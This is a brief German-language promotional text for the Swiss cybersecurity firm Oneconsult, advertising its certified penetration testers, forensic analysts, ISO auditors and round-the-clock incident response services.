Erhalten Sie kompetente Beratung vom inhabergeführten und herstellerunabhängigen Cybersecurity-Spezialisten mit 35+ hochqualifizierten Cybersecurity Experten, darunter zertifizierte Penetration Tester (OPST, OPSA, OSCP, OSCE, GXPN), IT-Forensiker (GCFA, GCFE, GREM), ISO Security Auditoren (ISO 27001 Lead Auditor, ISO 27005 Risk Manager) und dedizierte IT Security Researcher, um auch Ihre anspruchsvollsten Herausforderungen im Informationssicherheitsbereich zu bewältigen. Gemeinsam gehen wir Ihre externen und internen Bedrohungen wie Malware-Infektionen, Hacker-Attacken und APT sowie digitalen Betrug und Datenverlust mit Kerndienstleistungen wie Penetration Tests / Ethical Hacking, APT Tests unter Realbedingungen und ISO 27001 Security Audits an. Bei Notfällen können Sie rund um die Uhr (24 h x 365 Tage) auf die Unterstützung des Incident Response & IT Forensics Expertenteams von Oneconsult zählen.

www.oneconsult.com